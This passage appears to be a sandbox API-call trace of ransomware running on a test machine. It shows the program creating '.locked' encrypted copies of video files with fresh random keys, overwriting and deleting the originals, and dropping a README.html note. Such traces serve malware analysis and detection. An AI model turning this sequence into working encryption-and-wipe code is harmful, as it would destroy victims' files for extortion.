	[0081.079] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0081.079] CloseHandle (hObject=0xc4) returned 1
	[0081.079] CloseHandle (hObject=0xc0) returned 1
	[0081.079] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.080] SetEvent (hEvent=0x80) returned 1
	[0081.080] SetEvent (hEvent=0x8c) returned 1
	[0081.080] SetEvent (hEvent=0x78) returned 1
	[0081.080] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.080] SetEvent (hEvent=0x78) returned 1
	[0081.080] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x51, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee7d8*=0x51) returned 1
	[0081.082] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\nqk87Dj5RjHYGagCqSHk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\nqk87dj5rjhygagcqshk.mkv")) returned 1
	[0081.101] SetEvent (hEvent=0x8c) returned 1
	[0081.105] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.106] SetEvent (hEvent=0x8c) returned 1
	[0081.106] SetEvent (hEvent=0x78) returned 1
	[0081.106] SetEvent (hEvent=0x80) returned 1
	[0081.106] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.106] SetEvent (hEvent=0xa8) returned 1
	[0081.106] SetEvent (hEvent=0x80) returned 1
	[0081.108] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.108] SetEvent (hEvent=0x80) returned 1
	[0081.109] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.109] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.109] SetEvent (hEvent=0x80) returned 1
	[0081.109] SetEvent (hEvent=0x78) returned 1
	[0081.109] SetEvent (hEvent=0x8c) returned 1
	[0081.109] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.110] SetEvent (hEvent=0x8c) returned 1
	[0081.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\nqk87Dj5RjHYGagCqSHk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\nqk87dj5rjhygagcqshk.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.110] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0081.111] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.134] CloseHandle (hObject=0xc0) returned 1
	[0081.134] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\nqk87Dj5RjHYGagCqSHk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\nqk87dj5rjhygagcqshk.mkv")) returned 1
	[0081.137] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\vVdSO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\vvdso.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e7310, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0x89e8260, ftLastAccessTime.dwHighDateTime=0x1d4c60c, ftLastWriteTime.dwLowDateTime=0x89e8260, ftLastWriteTime.dwHighDateTime=0x1d4c60c, nFileSizeHigh=0x0, nFileSizeLow=0x148dd)) returned 1
	[0081.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\vVdSO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\vvdso.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.137] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.138] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\vVdSO.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\vvdso.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.138] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.138] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0081.138] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0081.138] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0081.138] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0081.140] SetEvent (hEvent=0x78) returned 1
	[0081.140] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x148dd, lpOverlapped=0x0) returned 1
	[0081.143] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x148dd, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x148dd, lpOverlapped=0x0) returned 1
	[0081.158] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0081.159] CloseHandle (hObject=0xc4) returned 1
	[0081.159] CloseHandle (hObject=0xc0) returned 1
	[0081.159] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.159] SetEvent (hEvent=0x78) returned 1
	[0081.159] SetEvent (hEvent=0x8c) returned 1
	[0081.160] SetEvent (hEvent=0x80) returned 1
	[0081.160] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.160] SetEvent (hEvent=0xa8) returned 1
	[0081.160] SetEvent (hEvent=0x80) returned 1
	[0081.160] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee7d8*=0x42) returned 1
	[0081.161] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\vVdSO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\vvdso.mkv")) returned 1
	[0081.181] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.181] SetEvent (hEvent=0xa8) returned 1
	[0081.181] SetEvent (hEvent=0x8c) returned 1
	[0081.186] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.186] SetEvent (hEvent=0x8c) returned 1
	[0081.186] SetEvent (hEvent=0x80) returned 1
	[0081.186] SetEvent (hEvent=0x78) returned 1
	[0081.186] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.187] SetEvent (hEvent=0x78) returned 1
	[0081.188] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.189] SetEvent (hEvent=0x78) returned 1
	[0081.189] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.189] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.189] SetEvent (hEvent=0x78) returned 1
	[0081.189] SetEvent (hEvent=0x80) returned 1
	[0081.189] SetEvent (hEvent=0x8c) returned 1
	[0081.189] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.190] SetEvent (hEvent=0x8c) returned 1
	[0081.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\vVdSO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\vvdso.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.191] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0081.191] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.207] CloseHandle (hObject=0xc0) returned 1
	[0081.207] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\vVdSO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\vvdso.mkv")) returned 1
	[0081.211] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\wMQpY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\wmqpy.swf"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa10639e0, ftCreationTime.dwHighDateTime=0x1d4c6bf, ftLastAccessTime.dwLowDateTime=0x24106c80, ftLastAccessTime.dwHighDateTime=0x1d4cbf1, ftLastWriteTime.dwLowDateTime=0x24106c80, ftLastWriteTime.dwHighDateTime=0x1d4cbf1, nFileSizeHigh=0x0, nFileSizeLow=0xcb99)) returned 1
	[0081.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\wMQpY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\wmqpy.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.211] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\wMQpY.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\wmqpy.swf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.212] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.212] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0081.212] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0081.212] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416201 | out: pbBuffer=0x12416201) returned 1
	[0081.212] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0081.215] SetEvent (hEvent=0x80) returned 1
	[0081.215] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xcb99, lpOverlapped=0x0) returned 1
	[0081.217] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xcb99, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xcb99, lpOverlapped=0x0) returned 1
	[0081.218] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0081.218] CloseHandle (hObject=0xc4) returned 1
	[0081.218] CloseHandle (hObject=0xc0) returned 1
	[0081.218] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.218] SetEvent (hEvent=0x80) returned 1
	[0081.219] SetEvent (hEvent=0x8c) returned 1
	[0081.219] SetEvent (hEvent=0x78) returned 1
	[0081.219] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.219] SetEvent (hEvent=0xa8) returned 1
	[0081.219] SetEvent (hEvent=0x78) returned 1
	[0081.219] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3c) returned 1
	[0081.220] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\wMQpY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\wmqpy.swf")) returned 1
	[0081.239] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.239] SetEvent (hEvent=0xa8) returned 1
	[0081.239] SetEvent (hEvent=0x8c) returned 1
	[0081.243] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.244] SetEvent (hEvent=0x8c) returned 1
	[0081.244] SetEvent (hEvent=0x78) returned 1
	[0081.244] SetEvent (hEvent=0x80) returned 1
	[0081.244] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.244] SetEvent (hEvent=0x80) returned 1
	[0081.246] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.246] SetEvent (hEvent=0x80) returned 1
	[0081.246] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.247] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.247] SetEvent (hEvent=0x80) returned 1
	[0081.247] SetEvent (hEvent=0x78) returned 1
	[0081.247] SetEvent (hEvent=0x8c) returned 1
	[0081.247] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.247] SetEvent (hEvent=0x8c) returned 1
	[0081.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\wMQpY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\wmqpy.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.248] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0081.248] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.263] CloseHandle (hObject=0xc0) returned 1
	[0081.264] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\wMQpY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\wmqpy.swf")) returned 1
	[0081.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a9c8720, ftCreationTime.dwHighDateTime=0x1d4d414, ftLastAccessTime.dwLowDateTime=0x469fc5a0, ftLastAccessTime.dwHighDateTime=0x1d4c67b, ftLastWriteTime.dwLowDateTime=0x469fc5a0, ftLastWriteTime.dwHighDateTime=0x1d4c67b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0081.267] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0081.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a9c8720, ftCreationTime.dwHighDateTime=0x1d4d414, ftLastAccessTime.dwLowDateTime=0x469fc5a0, ftLastAccessTime.dwHighDateTime=0x1d4c67b, ftLastWriteTime.dwLowDateTime=0x469fc5a0, ftLastWriteTime.dwHighDateTime=0x1d4c67b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0081.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a9c8720, ftCreationTime.dwHighDateTime=0x1d4d414, ftLastAccessTime.dwLowDateTime=0x469fc5a0, ftLastAccessTime.dwHighDateTime=0x1d4c67b, ftLastWriteTime.dwLowDateTime=0x469fc5a0, ftLastWriteTime.dwHighDateTime=0x1d4c67b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea227da0, ftCreationTime.dwHighDateTime=0x1d4c75a, ftLastAccessTime.dwLowDateTime=0xa32d600, ftLastAccessTime.dwHighDateTime=0x1d4cdb7, ftLastWriteTime.dwLowDateTime=0xa32d600, ftLastWriteTime.dwHighDateTime=0x1d4cdb7, nFileSizeHigh=0x0, nFileSizeLow=0xc852, dwReserved0=0x0, dwReserved1=0x0, cFileName="3F7YvuPsBsD.mp4", cAlternateFileName="3F7YVU~1.MP4")) returned 1
	[0081.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54dd6b20, ftCreationTime.dwHighDateTime=0x1d4cd03, ftLastAccessTime.dwLowDateTime=0x11dfc4b0, ftLastAccessTime.dwHighDateTime=0x1d4c747, ftLastWriteTime.dwLowDateTime=0x11dfc4b0, ftLastWriteTime.dwHighDateTime=0x1d4c747, nFileSizeHigh=0x0, nFileSizeLow=0xf15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AttjSvSBA2sduak.mp4", cAlternateFileName="ATTJSV~1.MP4")) returned 1
	[0081.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dcd42f0, ftCreationTime.dwHighDateTime=0x1d4cf32, ftLastAccessTime.dwLowDateTime=0x433a62d0, ftLastAccessTime.dwHighDateTime=0x1d4ce37, ftLastWriteTime.dwLowDateTime=0x433a62d0, ftLastWriteTime.dwHighDateTime=0x1d4ce37, nFileSizeHigh=0x0, nFileSizeLow=0x2f2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MbWC4f1Y3.avi", cAlternateFileName="MBWC4F~1.AVI")) returned 1
	[0081.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173f8ce0, ftCreationTime.dwHighDateTime=0x1d4ca8c, ftLastAccessTime.dwLowDateTime=0x22884c30, ftLastAccessTime.dwHighDateTime=0x1d4ca4c, ftLastWriteTime.dwLowDateTime=0x22884c30, ftLastWriteTime.dwHighDateTime=0x1d4ca4c, nFileSizeHigh=0x0, nFileSizeLow=0x10d99, dwReserved0=0x0, dwReserved1=0x0, cFileName="_udDYR3Wpn.mp4", cAlternateFileName="_UDDYR~1.MP4")) returned 1
	[0081.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0081.267] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0081.267] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.267] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0081.268] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0081.269] CloseHandle (hObject=0xc0) returned 1
	[0081.269] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x48, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee8b0*=0x48) returned 1
	[0081.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\3F7YvuPsBsD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\3f7yvupsbsd.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea227da0, ftCreationTime.dwHighDateTime=0x1d4c75a, ftLastAccessTime.dwLowDateTime=0xa32d600, ftLastAccessTime.dwHighDateTime=0x1d4cdb7, ftLastWriteTime.dwLowDateTime=0xa32d600, ftLastWriteTime.dwHighDateTime=0x1d4cdb7, nFileSizeHigh=0x0, nFileSizeLow=0xc852)) returned 1
	[0081.270] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\3F7YvuPsBsD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\3f7yvupsbsd.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.270] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.270] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HPhJCcF2\\3F7YvuPsBsD.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hphjccf2\\3f7yvupsbsd.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.270] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.271] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2e0 | out: pbBuffer=0x1238c2e0) returned 1
	[0081.271] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a82a0 | out: pbBuffer=0x127a82a0) returned 1
	[0081.271] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0081.271] WriteFile (in: hFile=0xc4, lpBuffer=0x1240f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240f000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0081.277] SetEvent (hEvent=0x78) returned 1
	[0081.277] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xc852, lpOverlapped=0x0) returned 1
	[0081.278] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xc852, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xc852, lpOverlapped=0x0) returned 1
	[0081.279] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0081.279] CloseHandle (hObject=0xc4) returned 1
	[0081.280] CloseHandle (hObject=0xc0) returned 1
	[0081.280] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.280] SetEvent (hEvent=0x78) returned 1
	[0081.280] SetEvent (hEvent=0x8c) returned 1
	[0081.280] SetEvent (hEvent=0x80) returned 1
	[0081.280] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.281] SetEvent (hEvent=0xa8) returned 1
